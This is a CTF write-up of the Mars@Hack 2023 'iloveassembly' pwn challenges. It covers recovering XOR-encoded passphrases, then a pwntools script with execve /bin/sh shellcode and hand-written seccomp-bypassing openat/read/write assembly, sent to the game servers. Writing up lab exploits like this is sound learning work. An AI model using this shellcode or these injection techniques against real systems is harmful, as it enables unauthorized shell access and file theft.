Mars@Hack 2023 - Exploit Write-up : iloveassembly 1&2 Link to heading

On Wednesday, Mars 29 2023 was held the fourth edition of Mars@Hack at Mont-de-Marsan. My team finished 5th of 43 teams (3rd on site).

Let’s go for a writeup of the iloveassembly challenges in the exploit category.

Thanks again for the authors and the team for the event, the CTF was great !

Iloveassembly1 Link to heading

I forgot to retrieve the description of the challenge, but if i remember correctly it just said to get a shell

file: iloveassembly

Analysis Link to heading

Running the binary, we see that we have a prompt that asks us to enter a “secret phrase”, and after 2 seconds the binary exits. (the ascii art had random color too, that’s cool)

$ ./iloveassembly 

  __  __                        _    _            _         ___   ___ ___  ____  
 |  \/  |                 ____ | |  | |          | |       |__ \ / _ \__ \|___ \ 
 | \  / | __ _ _ __ ___  / __ \| |__| | __ _  ___| | __       ) | | | | ) | __) |
 | |\/| |/ _` | '__/ __|/ / _` |  __  |/ _` |/ __| |/ /      / /| | | |/ / |__ < 
 | |  | | (_| | |  \__ \ | (_| | |  | | (_| | (__|   <      / /_| |_| / /_ ___) |
 |_|  |_|\__,_|_|  |___/\ \__,_|_|  |_|\__,_|\___|_|\_\    |____|\___/____|____/ 
                         \____/                                                  


Tout d'abord, pour continuer, nous avons besoin que vous chuchotiez la phrase secrète
> john

Aie...

Opening the binary with Ghidra, we quickly see that the passphrase is easy to get: (simplified code)

for(int i; i < input_length; i++)) {
	input[i] = input[i] ^ 0x41;
}

if (strncmp(input, &local, 0xd) == 0) {
	flag();
}

A simple xor is made and the xored string is compared to a hardcoded string. Easy to decrypt, here’s the little bit of code I used to get the passphrase:

seq = b'\x2c\x20\x33\x32\x29\x20\x22\x2a\x2c\x20\x33\x32\x20\x2f'

for el in seq:
	print(chr(el ^ 0x41), end="")

Passphrase = marshackmarsan

But that’s not the end ! It was simply a little check before accessing the real challenge. Here’s the decompiled flag function: (simplified)

void flag() {
	char input[0x95];
	memset(input, 0, 0x95);
	read(0, input, 0x95);
	*input();	
}

That executes any shellcode we are writing after our passphrase !

Exploiting Link to heading

Knowing that, we simply had to ask internet for a basic x64 shellcode and adding it after our passphrase. And yeah, it worked first try 😎

from pwn import *


HOST = ["game1.marshack.fr", 43002]

payload = b''.join([
	b"marshackmarsan",
	b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
	b"whoami\n"
])

p = connect(HOST[0], HOST[1])
print(p.readuntil(b">").decode("utf-8"))
p.sendline(payload)
print(p.recvrepeat(.1))
p.interactive()

After searching a bit, the flag is located at /home/iloveassembly1/flag.txt

flag: idontremember

Iloveassembly2 Link to heading

I also forgot the description

file: iloveassembly2

Analysis Link to heading

It’s pretty much the same thing as the first challenge, there’s just some tweaks to it

This time, the passphrase is a little more encrypted, but it’s still pretty easy to decrypt:

for (i = 0; i < 0xe; i = i + 1) {
	input[i] = (input[i] * '\x02' ^ 0x84) + 0xc ^ 0x43;
}


if (strncmp(input, &local, 0xe) == 0) {
	printf("\nheureux de vous revoir");
	myseccomp();
	flag();
}

(At this point you already see what’s going on for the next part 🫠)

My script to retrieve the passphrase:

def decrypt(char):
	return (((char ^ 0x43) - 0xc) ^ 0x84) // 0x2


flag_enc = b"\x55\xb3\xb3\x1b\x05\x35\x23\xb1\x2d\x33\xad\x2f\x91\x91"

for el in flag_enc:
	print(chr(decrypt(el)), end="")

Passphrase = G00d_wh1sp3r!!

This time, the myseccomp function enable only a few syscalls:

secrule = seccomp_init(0);
seccomp_rule_add(secrule, 0x7fff0000, 0x0,0);
seccomp_rule_add(secrule, 0x7fff0000, 0x1,0);
seccomp_rule_add(secrule, 0x7fff0000, 0xf,0);
seccomp_rule_add(secrule, 0x7fff0000, 0x3c,0);
seccomp_rule_add(secrule, 0x7fff0000, 0xe7,0);
seccomp_rule_add(secrule, 0x7fff0000, 0x101,0);
seccomp_load(secrule);

Note: You can read more about seccomp here, TLDR: it enables only certains syscalls for the binary, so we can’t just call execve because seccomp will stop execution.

So we only have those syscalls enabled:

  • 0x0 read
  • 0x1 write
  • 0xf rt_sigreturn
  • 0x3c exit
  • 0xe7 exit_group
  • 0x101 openat

Knowing that, we need to open the file, read from it and write the output back to the stdin.

I never heard about openat before so a quick look at the man page told me more about it.

TL;DR int openat(int dirfd, const char *pathname, int flags);

The only difference with open is the first parameters, dirfd that let us control the directory of the relative path.

But there’s one thing I saw something that made me go tunnel vision and forgot about the rest (You’ll see later why it was a mistake): If the pathname given in pathname is absolute, then dirfd is ignored.

Exploiting ? Link to heading

At this point, my shellcode looked like this (cool link about syscalls btw):

; openat(0x0, "/home/iloveassembly2", 0x0)
mov    rax, 0x101
xor    rdi, rdi    				; dirfd = 0x0
movabs rsi,0x7478742e67
push   rsi
movabs rsi,0x616c662f32796c62
push   rsi
movabs rsi,0x6d6573736165766f
push   rsi
movabs rsi,0x6c692f656d6f682f
push   rsi
lea    rsi, [rsp]				; pathname = "/home/iloveassembly2/flag.txt"
xor    rdx, rdx					; flag     = 0x0  (R_ONLY)
syscall

push   rax 						; saving the filedescriptor
sub	   rsp, 0x20				; making 0x20 of space on the stack

; read(0x3, buffer, 0x20)
xor    rax,rax
mov    rdi,QWORD PTR [rsp+0x20] ; fd     = saved filedescriptor
mov    rsi,rsp                  ; buffer = stack_buffer
mov    rdx,0x20					; size   = 0x20
syscall

; write(0x1, buffer, 0x20)
mov    rax, 0x1
mov    rdi, 0x1 				; fd     = stdout
mov    rsi, rsp 				; buffer = stack_buffer
mov    rdx, 0x20 				; size   = 0x20
syscall

I used this site to compile my assembly to shellcode.

I was pretty confident I was on the right track at the time, but when starting the exploit, nothing worked. I had a really hard time trying to debug it, at some point I talked to an admin about where I was, and he hinted me towards the good direction.

  • Dumb me had forgotten that I don’t have infinite space to write the shellcode, and my current payload was way above the limit.

  • Also as I said above, I did not fully read the man page and missed a pretty cool information !

Here’s the important paragraph on the man:

If the pathname given in pathname is relative and dirfd is the
special value AT_FDCWD, then pathname is interpreted relative
to the current working directory of the calling process (like
open()).

Searching a bit, the value of AT_FDCWD is -100, so 0xffffffff9c.

Since the current working directory is set as the home directory in the binary, I can use that to simply enter “flag.txt” as a pathname ! Effectively making my payload way shorter.

Here’s the new payload:

mov    rax,0x101
movabs rdi,0xffffffff9c
push   0x0
movabs rsi,0x7478742e67616c66
push   rsi
lea    rsi,[rsp]
xor    rdx,rdx
syscall

push   rax
sub    rsp,0x20
xor    rax,rax
mov    rdi,QWORD PTR [rsp+0x20]
mov    rsi,rsp
mov    rdx,0x20
syscall

mov    rax,0x1
mov    rdi,0x1
mov    rsi,rsp
mov    rdx,0x20
syscall 

The last issue I had is that running the exploit with pwntools (my exploit) was not working neither in local nor remote. Even tho my payload was correct since running it with GDB was working correctly.

I had to write out the payload to a file and do this cat payload.bin | nc game1.marshack.fr 43003… And voilà ! I got the flag !

(I still don’t remember the flag)

Conclusion Link to heading

That challenge was really cool, I knew about seccomp and had previously read a lot of writeup with seccomp but that was my first “real” challenge including seccomp and shellcoding, I’m just a bit sad that I was on tunnel vision with my first payload and spent too much time on it.

But anyway, that was a really good challenge to train shellcoding I had lots of fun !

Thanks again for the ctf team, the event was really cool 🔥